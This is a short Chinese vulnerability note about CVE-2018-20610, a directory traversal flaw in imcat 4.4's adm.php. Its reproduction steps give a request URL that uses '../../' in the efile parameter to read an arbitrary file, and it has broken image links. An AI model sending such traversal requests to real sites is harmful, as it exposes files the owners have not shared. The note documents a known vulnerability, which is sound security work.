（CVE-2018-20610）Imcat 4.4 敏感信息泄露
一、漏洞简介
imcat是一套基于PHP的开源建站系统。 imcat 4.4版本中的root/run/adm.php文件存在目录遍历漏洞。目前尚无此漏洞的相关信息，请随时关注CNNVD或厂商公告。
二、漏洞影响
imcat 4.4
三、复现过程
先在D盘创建1.txt
Imcat4.4敏感信息泄露/media/rId24.png)
http://www.0-sec.org/root/run/adm.php?admin-ediy&part=edit&dkey=runs&dsub=&efile=../../1.txt&dialog=1546054963116&lang=cn
Imcat4.4敏感信息泄露/media/rId25.png)